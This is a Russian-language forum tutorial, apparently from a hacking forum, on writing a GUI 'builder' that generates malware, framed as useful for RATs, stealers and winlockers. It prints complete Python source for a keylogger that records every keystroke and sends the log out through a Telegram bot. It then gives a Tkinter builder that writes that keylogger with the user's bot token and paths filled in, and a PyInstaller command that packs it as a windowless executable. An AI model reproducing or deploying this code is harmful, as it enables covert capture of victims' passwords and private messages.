T
to_0day
Введение
Приветствую всех, кто читает данный контент. Хотелось начать с того, как часто вы видели программы для создания других программ? Да, звучит очень рекурсивно, но простыми словами такая вещь называется Builder. Тот самый софт, который создает ваши вирусы (просто часто именно такое вижу). Не важно, будь это RAT, stealer или winlocker. Согласитесь такая вещь очень полезна, ведь не надо лезть в исходники программы и пихать туда свои данные, чтобы ее же потом использовать. По этим пару словам можно уже понять, что в данной статье я хотел бы поделиться знаниями в создании таких builder'ов. Такое будет полезно в большей степени новичкам, но затронуть данную тему все же стоит. Приступим.
Зачем это нужно?
Представим такую ситуацию, вы нашли полезный проект на Github, что поможет решить вам задачу или собрать нужные данные. На примере возьмем RAT. Но его проблема заключается в том, что автор не предусмотрел автоматизированный ввод данных. Поэтому, чтобы все работало как вам надо требуется открывать сам файл и вносить в него нужные вам данные. И чтобы не повторять такое действие каждый раз мы создадим софт, что создавать программу будет с нашими данными.
Создание builder'а
Теперь переходим непосредственно к коду. За образец программы, что нам нужно собрать я возьму свой keylogger из данной статьи. Рассмотрим какие данные нам нужно вводить в коде, а это токен бота и расположения временного хранения файлов:
Python:
bot = telebot.TeleBot("токен")
os.chdir(r"ваш_путь ")
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"ваш_путь\system.txt",
r"ваш_путь\logfile.txt") # Для копирования нужна отдельная строка
Python:
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("токен")
keygen = "system.txt"
os.getcwd()
os.chdir(r"ваш_путь ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"ваш_путь\system.txt",
r"ваш_путь\logfile.txt")
file = open("ваш_путь\logfile.txt", "rb")
bot.send_document(message.chat.id, file)
file.close()
os.remove("ваш_путь\logfile.txt")
bot.stop_polling()
bot.polling()
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()
Делаем выводы, а именно в нашей программе должно быть 3 поля ввода данных. Это: токен telegram-бота, временное хранение файлов, копирование отправляемых данных. Третий параметр нужен для того, чтобы скопировать и отправить весь журнал так как файл system.txt остается в системе. Данную проблему пока что решаю в самом keylogger'е. Возвращаемся к теме и приступаем к написанию builder'a. А именно импортируем библиотеки:
Python:
from tkinter import *
from tkinter import messagebox as mb
from PIL import ImageTk, Image
import webbrowser
Многие уже заметили. Наш софт будет иметь пользовательский интерфейс для максимального удобства. Единственный минус, потребуется каждый раз при изменении внешнего вида запускать код. Для тех, кто не любит такие заморочки рекомендую ознакомиться с PyQt5, а мы продолжаем, создаем окно программы:
Python:
root = Tk() # Создает окно
root.configure(background="#bdbdbd") # Задает цвет, его можно изменить
root.title("Tkinter") # Название в левом верхнем углу
root.iconbitmap("icon.ico") # Иконка (должна лежать рядом с программой)
root.geometry("300x400") # Размеры (x, y)
Если вы хотите добавить логотип то воспользуемся данной частью кода:
Python:
img = Image.open("logo.jpg") # Название
image = ImageTk.PhotoImage(img) # Отображение
initil = Label(root, image=image)
initil.grid(padx=0, pady=0) # Координаты, не советую менять
# Рекомендую использовать размеры 100x200 пикселей (в моем случае)
Следующий шаг это создание полей ввода наших данных:
Python:
text = Label(root, text="Токен Telegram бота", bg="#000000", fg="#ffffff")
text.grid(padx=0, pady=0) # Расположение, текст и цветовая коррекция
API = Entry(root, width=20, bg="#8c8c8c")
API.grid(padx=0, pady=0) # Поле ввода и размеры
text2 = Label(root, text="Путь временного хранения файлов", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0) # Расположение, текст и цветовая коррекция
direct = Entry(root, width=20, bg="#8c8c8c")
direct.grid(padx=0, pady=0) # Поле ввода и размеры
text2 = Label(root, text="Путь для копированния", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0) # Расположение, текст и цветовая коррекция
direct2 = Entry(root, width=20, bg="#8c8c8c")
direct2.grid(padx=0, pady=0) # Поле ввода и размеры
Примечание: bg - задний фон, fg - передний фон, width - ширина.
Осталось создать кнопку "Создать" и "Помощь" для связи. Снова пишем код:
Python:
button = Button(root, text=" Build ", command=clicked, background="#ffea00", height=2)
button.grid(padx=6, pady=6) # Создаем первую кнопку, расположение и коррекция
help = Button(root, text=" Help ", command=clicked2, background="#ffea00", height=1)
help.grid(padx=6, pady=8) # Создаем вторую кнопку, расположение и коррекция
root.mainloop() # Отображение главного окна
Отступы в тексте требуются для ровного и правильного отображения кнопок. Но этот код не завершен, тк мы должны перед импортом указать команду clicked и clicked2:
Python:
def clicked():
system = open("keylogger.py", "w")
system.write('''
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("''' + API.get() + '''")
keygen = "system.txt"
os.getcwd()
os.chdir(r"''' + direct.get() + ''' ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"''' + direct.get() + '''\system.txt",
r"''' + direct2.get() + '''\logfile.txt")
file = open("''' + direct2.get() + '''\logfile.txt", "rb")
bot.send_document(message.chat.id, file)
file.close()
os.remove("''' + direct2.get() + '''\logfile.txt")
bot.stop_polling()
bot.polling()
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()
''')
system.close()
mb.showinfo("INFO", "Keylogger.py успешно создан!")
def clicked2():
answer = mb.askyesno(title="Redirecting", message="Открыть обратную связь?")
if answer:
webbrowser.open("ссылка для связи", new=2)
else:
pass
На этом наш код завершен. Поэтому можем спокойно его тестировать. Для сборки в exe-файл используем команду:
pyinstaller -F -w -i путь_до_икноки --onefile имя.py
Теперь идем к завершению.
Вывод
В данной статье я постарался максимально понятно и доступно автоматизировать процесс создания программ с определенными данными. Надеюсь это поможет вам в будующих разработках. Если имеются предложения/доработки я готов выслушать ваше мнения в комментариях. Помощи и правкам всегда рад
Python:
from tkinter import *
from tkinter import messagebox as mb
from PIL import ImageTk, Image
import webbrowser
def clicked():
system = open("keylogger.py", "w")
system.write('''
import logging.config
from pynput.keyboard import Key, Listener
import logging
import telebot
import os
import sys
import shutil
bot = telebot.TeleBot("''' + API.get() + '''")
keygen = "system.txt"
os.getcwd()
os.chdir(r"''' + direct.get() + ''' ")
# Замена: logging.basicConfig(filename=keygen, level=logging.DEBUG, format="%(asctime)s:%(message)s")
logger = logging.getLogger()
l = logging.StreamHandler()
logging.FileHandler(keygen)
l.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s:%(message)s")
l.setFormatter(format)
logger.addHandler(l)
@bot.message_handler(commands=["start"])
def start_message(message):
logging.disable(level=logging.CRITICAL)
shutil.copyfile(r"''' + direct.get() + '''\system.txt",
r"''' + direct2.get() + '''\logfile.txt")
file = open("''' + direct2.get() + '''\logfile.txt", "rb")
bot.send_document(message.chat.id, file)
file.close()
os.remove("''' + direct2.get() + '''\logfile.txt")
bot.stop_polling()
bot.polling()
def keypress(Key):
logging.info(str(Key))
with Listener(on_press=keypress) as listener:
listener.join()
''')
system.close()
mb.showinfo("INFO", "Keylogger.py успешно создан!")
def clicked2():
answer = mb.askyesno(title="Redirecting", message="Открыть обратную связь?")
if answer:
webbrowser.open("ссылка для связи", new=2)
else:
pass
root = Tk()
root.configure(background="#bdbdbd")
root.title("Tkinter")
root.iconbitmap("icon.ico")
root.geometry("300x400")
img = Image.open("logo.jpg")
image = ImageTk.PhotoImage(img)
initil = Label(root, image=image)
initil.grid(padx=0, pady=0)
text = Label(root, text="Токен Telegram бота", bg="#000000", fg="#ffffff")
text.grid(padx=0, pady=0)
API = Entry(root, width=20, bg="#8c8c8c")
API.grid(padx=0, pady=0)
text2 = Label(root, text="Путь временного хранения файлов", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)
direct = Entry(root, width=20, bg="#8c8c8c")
direct.grid(padx=0, pady=0)
text2 = Label(root, text="Путь для копированния", bg="#000000", fg="#ffffff")
text2.grid(padx=0, pady=0)
direct2 = Entry(root, width=20, bg="#8c8c8c")
direct2.grid(padx=0, pady=0)
button = Button(root, text=" Build ", command=clicked, background="#ffea00", height=2)
button.grid(padx=6, pady=6)
help = Button(root, text=" Help ", command=clicked2, background="#ffea00", height=1)
help.grid(padx=6, pady=8)
root.mainloop()